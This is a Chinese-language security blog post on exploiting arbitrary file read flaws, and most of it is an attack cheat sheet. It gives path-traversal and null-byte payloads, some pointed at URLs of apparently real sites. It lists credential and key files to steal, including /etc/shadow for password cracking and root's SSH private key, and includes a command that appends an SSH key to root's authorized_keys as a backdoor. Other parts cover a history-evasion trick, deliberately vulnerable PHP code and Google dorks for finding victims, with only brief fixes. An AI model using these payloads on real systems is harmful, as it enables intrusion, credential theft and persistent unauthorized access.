Neurohazard
暮雲煙月,皓首窮經;森羅萬象,如是我聞。

任意文件读取的深度利用

wpadmin~June 9, 2018 /InfoSec

任意文件读取的深度利用

1. 利用指南

基本思路就是尝试读取敏感文件以获取尽可能多的信息。
比如, /etc/issue 可以确认 Linux 主机的发行版,
其中 .bash_history, ssh相关路径 中可能含有大量敏感信息,
获取到 /etc/shadow 则可以直接使用 John The Ripper 尝试枚举 root 密码。
Tomcat 控制台可读取用户密码 /usr/local/tomcat/conf/tomcat-users.xml

顺带提供了一些黑盒和白盒状态下挖掘此类漏洞的一些思路,主要以 PHP 为例。

高效利用字典
https://github.com/ev0A/ArbitraryFileReadList

1.1 判断系统类型 (Linux的具体发行版)

uname -a
lsb_release -d
cat /etc/issue
cat /etc/os-release
cat /etc/redhat-release
cat /etc/debian_version
cat /etc/slackware_version
ls /etc/*version
cat /proc/version
cat /proc/cpuinfo

1.2 其他说明 (服务器进程权限判断)

可以在本地构造虚拟机,搭建类似的环境,查看默认路径情况。

服务器进程权限判断
通过 /etc/shadow, /proc/self/cwd 能不能读到,可以判断进程的权限,可读(root),不可读(非 root)

其他
有些文件需要高权限才能读取

`.bash_history` # 历史中可能带着用户的密码 (遇到过现实案例,是输错的情况下参数的,比如没输入 su 却以为自己输了 su)

/etc/passwd # 用户情况
/etc/shadow # 直接 John the Ripper
/usr/local/tomcat/conf/tomcat-users.xml # tomcat 用户配置文件
/etc/hosts # 主机信息,通常配置了一些内网域名
/root/.bashrc # 环境变量
/root/.bash_history # 还有root外的其他用户
/root/.viminfo # vim 信息
/root/.ssh/id_rsa # 拿私钥直接ssh
/proc/xxxx/cmdline # 进程状态枚举 xxxx 可以为0000-9999 使用burpsuite
数据库 config 文件
web 日志 access.log, error.log
ssh 日志
/var/lib/php/sess_PHPSESSID # 非常规问题 session 文件( 参考 平安科技的一道session包含 http://www.jianshu.com/p/2c24ea34566b)

# 网络信息
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/net/dev

1.3 无痕反弹 shell

kill -9 $$

2. 白盒测试

2.1 常见代码最简化案例

以 PHP 为例

几个关键函数

file_get_content("/etc/passwd")
include("/etc/passwd")
readfile("etc/passwd")

部分例子
file_get_contents

<?php
$filename =$_GET['f'];
echo file_get_contents($filename);
?>

readfile
这种方式会直下载

<?php
$filename =$_GET['f'];
header('Content-Type:image/gif');
header('Content-Disposition:attachment;filename='.$filename);
header('Content-Length:'.filesize($filename));
readfile($filename);
?>

2.2 白盒测试思路

代码审计
【白盒审计视角】WEB 安全系列之如何挖掘任意文件读取漏洞
https://blog.csdn.net/cic10235/article/details/52052522

3. 黑盒测试

3.1 黑盒测试的特征

通常出现在 文件上传/下载相关功能处。
从参数名称看,可能属于以下类型

&RealPath=
&FilePath=
&filepath=
&Path=
&path=
&inputFile=
&url=
&urls=
&Lang=
&dis=
&data=
&readfile=
&filep=
&src=
&menu=
META-INF
WEB-INF

3.2 判断类型

index.php?f=../../../../../../etc/passwd
index.php?f=../index.php
index.php?f=file:///etc/passwd

注:当参数f的参数值为php文件时,若是文件被解析则是文件包含漏洞,若显示源码或提示下载则是文件查看与下载漏洞

4. 扫描器开发参考

4.1 payload 参考

http://...:8080/%c0%ae/WEB-INF/classes/com/huilan/application/action/PeopleBankAction.class
# 配合截断规则
/etc/passwd%00.jpg 
../../../../../../../../../../etc/passwd%00.jpg
http://www.zzvcom.com/cms/interface.jsp?time=41&data={readfile:%27/WEB-INF/classes/jdbc.properties%27}&jsoncallback=jsonp1442909681355
http://localhost:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://www.intime.com.cn:8000/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini
echo ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0jrJeJfEURdpG/jddXzk3zZYxQfdHbgPC4QYh5qx0F2SS1Q+uCW6j2cM/SxqhocfgDYw1CTikNTlJ43tzv1ozpSRjmLH26aTxGDUnXsvyVLeWdrjPni1FoVffW+LM0rZVh7A74Vi1bDr7IP7XjSMQU157rye7++G+eWA1NhscIiiJ/pwUKAjPSiEx+8DXN8ccTDyWrSnD+NfUQXPO4dVFu2MR5/VjLO2yWsVMwenCPwItf5xEwGqU5KbzxeTOyDnYYLk7UF6lBYpSDZC9U3mNL1alYgNnIbmZGYg921KFh28BRptDewh5MRDKmfMUSqeZpIZ95Pq8lG1sObcjNzDew== root@szmlserver95_251.easou.com >> /root/.ssh/authorized_keys

4.2 字典

4.2.1 关于字典各字段的简要说明

/proc/sched_debug # 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用
/proc/mounts # 挂载的文件系统列表
/proc/net/arp # arp表,可以获得内网其他机器的地址
/proc/net/route # 路由表信息
/proc/net/tcp and /proc/net/udp # 活动连接的信息
/proc/net/fib_trie # 路由缓存
/proc/version  # 内核版本
/proc/[PID]/cmdline # 可能包含有用的路径信息
/proc/[PID]/environ #  程序运行的环境变量信息,可以用来包含getshell
/proc/[PID]/cwd     # 当前进程的工作目录
/proc/[PID]/fd/[#] # 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log

4.2.2 字典内容

# defaut
download.php?file=download.php

# index
index/php
../index.php
../../index.php
../../../index.php
../../../../index.php
../../../../../index.php
../../../../../../index.php
../../../../../../../index.php
../../../../../../../../index.php
../../../../../../../../../index.php
../../../../../../../../../../index.php
../../../../../../../../../../../index.php


# system proc
/proc/self/cmdline
/proc/self/stat
/proc/self/status
/proc/self/environ
/proc/verison
/proc/cmdline
/proc/self/cwd
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/fd/3
/proc/self/fd/4
/proc/self/fd/5
/proc/self/fd/6
/proc/self/fd/7
/proc/self/fd/8
/proc/self/fd/9
/proc/self/fd/10
/proc/self/fd/11
/proc/self/fd/12
/proc/self/fd/13
/proc/self/fd/14
/proc/self/fd/15
/proc/self/fd/16
/proc/self/fd/17
/proc/self/fd/18
/proc/self/fd/19
/proc/self/fd/20
/proc/self/fd/21
/proc/self/fd/22
/proc/self/fd/23
/proc/self/fd/24
/proc/self/fd/25
/proc/self/fd/26
/proc/self/fd/27
/proc/self/fd/28
/proc/self/fd/29
/proc/self/fd/30
/proc/self/fd/31
/proc/self/fd/32
/proc/self/fd/33
/proc/self/fd/34
/proc/self/fd/35
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/net/fib_trie
/proc/version

# ssh
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/.ssh/authorized_keys
/etc/ssh/sshd_config
/var/log/secure

# network
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/syscomfig/network-scripts/ifcfg-eth1

# application
/opt/nginx/conf/nginx.conf
/var/www/html/index.html
/root/.mysql_history
/root/.wget-hsts
/etc/my.cnf

# common
/etc/passwd
/etc/shadow
/etc/hosts
/root/.bash_history
/root/.ssh/authorized_keys
/root/.mysql_history
/root/.wget-hsts
/var/www/html/index.html

# protocol
file:///etc/passwd
gopher:///etc/passwd
ftp://

# SSRF 内网探测
url=http://10.29.5.24

# Windows
C:\boot.ini  //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml  //IIS配置文件
C:\Windows\repair\sam  //存储系统初次安装的密码
C:\Program Files\mysql\my.ini  //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD  //Mysql root
C:\Windows\php.ini  //php配置信息
C:\Windows\my.ini  //Mysql配置信息

5. 漏洞复现的建议

5.1 Google Hacking Dorks

inurl:"readfile.php?file="
inurl:"download.php?file="
inurl:"read.php?filename="
inurl:"down.php?file="

5.2 历史漏洞案例

resin 任意文件读取
glassfish 任意文件读取
elasticsearch 任意文件读取

6. 修复方案

以下仅说明若干种修复思路,可能会有考虑不周的地方

  1. php.ini 配置 open_basedir
  2. 用户输入配置白名单
  3. 不允许包含 ../

7. 参考资料

1. Directory Traversal, File Inclusion, and The Proc File System

2. 漏洞手记-任意文件读取-cdxy

3. 一个任意文件读取漏洞记录

4. 【搭建测试环境的参考】新型任意文件读取漏洞的研究 – phith0n

5. 【白盒审计视角】WEB 安全系列之如何挖掘任意文件读取漏洞

Leave a Reply

Your email address will not be published. Required fields are marked *